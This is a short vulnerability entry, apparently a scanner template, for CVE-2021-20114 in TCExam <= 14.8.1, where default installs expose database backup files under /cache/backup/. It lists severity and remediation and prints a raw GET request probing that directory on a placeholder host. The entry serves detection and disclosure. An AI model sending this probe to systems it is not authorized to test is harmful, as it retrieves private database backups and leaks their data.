| Title | TCExam <= 14.8.1 - Sensitive Information Exposure |
|---|---|
| Author | push4d |
| Severity | High |
| Impact | An attacker can gain access to sensitive information, potentially leading to unauthorized access or data leakage. |
| Remediation | Upgrade TCExam to a version higher than 14.8.1 to mitigate the vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.53868 |
| CVE ID | CVE-2021-20114 |
| CWE ID | CWE-425 |
| Tags | cve cve2021 tcexam disclosure exposure tenable tecnick vuln |
When installed following the default/recommended settings, TCExam <= 14.8.1 allowed unauthenticated users to access the /cache/backup/ directory, which includes sensitive database backup files.
GET /cache/backup/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101 Firefox/140.0.2 (x64 de)
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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